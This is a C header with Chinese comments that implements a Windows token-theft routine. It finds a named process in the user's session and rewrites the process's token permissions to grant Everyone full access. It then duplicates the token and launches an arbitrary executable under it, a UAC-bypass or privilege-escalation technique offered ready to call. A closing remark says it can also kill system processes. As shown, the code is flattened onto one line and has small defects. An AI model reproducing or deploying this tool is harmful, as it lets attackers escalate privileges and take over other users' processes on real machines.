///说明:VC6编译通过
//文件名:UAC.h
//调用:UAC(进程名,可执行文件路径);
#pragma once #include <windows.h> #include <Aclapi.h> #include <TLHelp32.h> typedef DWORD (WINAPI *WTSGetActiveConsoleSessionIdFunc)(); typedef BOOL (WINAPI *ProcessIdToSessionIdFunc)(DWORD dwProcessId,DWORD* pSessionId); typedef BOOL (WINAPI *WTSQueryUserTokenFunc)(ULONG SessionId,PHANDLE phToken); typedef BOOL (WINAPI *CreateEnvironmentBlockFunc)(LPVOID *lpEnvironment,HANDLE hToken,BOOL bInherit); WTSGetActiveConsoleSessionIdFunc WTSGetActiveConsoleSessionId=NULL; ProcessIdToSessionIdFunc ProcessIdToSessionId=NULL; WTSQueryUserTokenFunc WTSQueryUserToken=NULL; CreateEnvironmentBlockFunc CreateEnvironmentBlock=NULL; //获取所需函数地址 void GetFunc() { HMODULE hKernel32=LoadLibrary("Kernel32.dll"); HMODULE hWtsapi32=LoadLibrary("Wtsapi32.dll"); HMODULE hUserenv=LoadLibrary("userenv.dll"); if (hKernel32 && hWtsapi32 && hUserenv){ WTSGetActiveConsoleSessionId = (WTSGetActiveConsoleSessionIdFunc)GetProcAddress(hKernel32,"WTSGetActiveConsoleSessionId"); ProcessIdToSessionId = (ProcessIdToSessionIdFunc)GetProcAddress(hKernel32,"ProcessIdToSessionId"); WTSQueryUserToken = (WTSQueryUserTokenFunc)GetProcAddress(hWtsapi32,"WTSQueryUserToken"); CreateEnvironmentBlock=(CreateEnvironmentBlockFunc)GetProcAddress(hUserenv,"CreateEnvironmentBlock"); } } //开启本线程的SeDeDebug权限 bool EnableDebugPrivilege() { HANDLE hToken; TOKEN_PRIVILEGES tp; if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)) return false; if (!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid)) return false; tp.PrivilegeCount=1; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL)) return false; return true; } //主函数 BOOL UAC(char *ProcessName,char *ExecuteFilePath) { DWORD dwSessionId=0,TmpSessionId=0,PID=0,dwCreateFlags,dwSdLen,dwRet,dwAclSize=0,dwSaclSize=0,dwSidOwnLen=0,dwSidPrimLen=0; HANDLE hSnap=NULL,hUserToken=NULL,hNewUserToken=NULL,hToken=NULL,hProcess; PROCESSENTRY32 pe={0x00}; BOOL Flag=false,bRet=false,bDAcl,bDefDAcl; TOKEN_PRIVILEGES tp; LPVOID lpEnv; STARTUPINFO si; PROCESS_INFORMATION pi; EXPLICIT_ACCESS ea; PSECURITY_DESCRIPTOR pOrigSd=NULL,pNewSd=NULL; PACL pOldDAcl=NULL,pNewDAcl=NULL,pSacl=NULL; PSID pSidOwner=NULL,pSidPrimary=NULL; //获取所需函数 GetFunc(); //开启本线程权限 EnableDebugPrivilege(); //Baby,come on! dwSessionId=WTSGetActiveConsoleSessionId(); //查找进程,获取PID hSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); pe.dwSize=sizeof(pe); Flag=Process32First(hSnap,&pe); while (Flag){ if (strcmp(strlwr(pe.szExeFile),strlwr(ProcessName))==0) { ProcessIdToSessionId(pe.th32ProcessID,&TmpSessionId); if (TmpSessionId==dwSessionId){ PID=pe.th32ProcessID; break; } } Flag=Process32Next(hSnap,&pe); } //获取用户令牌 WTSQueryUserToken(dwSessionId,&hUserToken); hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,PID); if (!hProcess) return FALSE; if (!OpenProcessToken(hProcess,READ_CONTROL|WRITE_DAC,&hToken)) return FALSE; //设置ACE具有所有访问权限 ZeroMemory(&ea,sizeof(EXPLICIT_ACCESS)); BuildExplicitAccessWithName(&ea,"Everyone",TOKEN_ALL_ACCESS,GRANT_ACCESS,0); //第一次调用肯定返回这个错误,这是为了得到原安全描述符 pOrigSd 的长度 if (!GetKernelObjectSecurity(hToken,DACL_SECURITY_INFORMATION,pOrigSd,0,&dwSdLen)) { if (GetLastError()==ERROR_INSUFFICIENT_BUFFER) { pOrigSd = (PSECURITY_DESCRIPTOR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwSdLen); if (pOrigSd==NULL) return FALSE; } } //第二次调用得到安全描述符 pOrigSd if (!GetKernelObjectSecurity(hToken,DACL_SECURITY_INFORMATION,pOrigSd,dwSdLen,&dwSdLen)) return FALSE; //得到原安全描述符的访问控制列表 ACL if (!GetSecurityDescriptorDacl(pOrigSd,&bDAcl,&pOldDAcl,&bDefDAcl)) return FALSE; // 生成新 ACE 权限的访问控制列表 ACL dwRet=SetEntriesInAcl(1,&ea,pOldDAcl,&pNewDAcl); if (dwRet!=ERROR_SUCCESS) return FALSE; //第一次调用肯定返回错误,为了创建新的安全描述符 pNewSd 而得到各项的长度 if (!MakeAbsoluteSD(pOrigSd,pNewSd,&dwSdLen,pOldDAcl,&dwAclSize,pSacl,&dwSaclSize,pSidOwner,&dwSidOwnLen,pSidPrimary,&dwSidPrimLen)) { if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) { pOldDAcl = (PACL)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwAclSize); pSacl = (PACL)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwSaclSize); pSidOwner = (PSID)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwSidOwnLen); pSidPrimary=(PSID)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwSidPrimLen); pNewSd = (PSECURITY_DESCRIPTOR)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,dwSdLen); if (pOldDAcl==NULL || pSacl==NULL || pSidOwner==NULL || pSidPrimary==NULL || pNewSd==NULL) return FALSE; } } //再次调用才可以成功创建新的安全描述符 pNewSd if (!MakeAbsoluteSD(pOrigSd,pNewSd,&dwSdLen,pOldDAcl,&dwAclSize,pSacl,&dwSaclSize,pSidOwner,&dwSidOwnLen,pSidPrimary,&dwSidPrimLen)) return FALSE; //将具有所有访问权限的访问控制列表 pNewDAcl 加入到新的 安全描述符 pNewSd 中 if (!SetSecurityDescriptorDacl(pNewSd,bDAcl,pNewDAcl,bDefDAcl)) return FALSE; //将新的安全描述符加到 TOKEN 中 if (!SetKernelObjectSecurity(hToken, DACL_SECURITY_INFORMATION, pNewSd)) return FALSE; //再次打开进程的 TOKEN,这时已经具有所有访问权限 if (!OpenProcessToken( hProcess, TOKEN_ALL_ACCESS, &hToken)) return FALSE; //复制令牌 if (!DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,NULL,SecurityIdentification,TokenPrimary,&hNewUserToken)) return FALSE; //结束进程,危险,虚拟机测试 //TerminateProcess(hProcess,0); //不虚拟登陆用户的话,创建新进程会提示 ImpersonateLoggedOnUser(hNewUserToken); //创建环境 if (CreateEnvironmentBlock(&lpEnv,hNewUserToken,TRUE)) dwCreateFlags=NORMAL_PRIORITY_CLASS|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT; else lpEnv=NULL; ZeroMemory(&si,sizeof(si)); ZeroMemory(&pi,sizeof(pi)); si.cb=sizeof(si); si.lpDesktop="winsta0\default"; bRet=CreateProcessAsUser(hNewUserToken,ExecuteFilePath,NULL,NULL,NULL,FALSE,dwCreateFlags,lpEnv,NULL,&si,&pi); //bye HeapFree(GetProcessHeap(),0,pOrigSd); HeapFree(GetProcessHeap(),0,pNewSd); HeapFree(GetProcessHeap(),0,pSidOwner); HeapFree(GetProcessHeap(),0,pSidPrimary); HeapFree(GetProcessHeap(),0,pSacl); HeapFree(GetProcessHeap(),0,pOldDAcl); CloseHandle(hSnap); CloseHandle(hProcess); CloseHandle(hToken); CloseHandle(hUserToken); CloseHandle(hNewUserToken); }
另注:亦可以用来结束系统进程。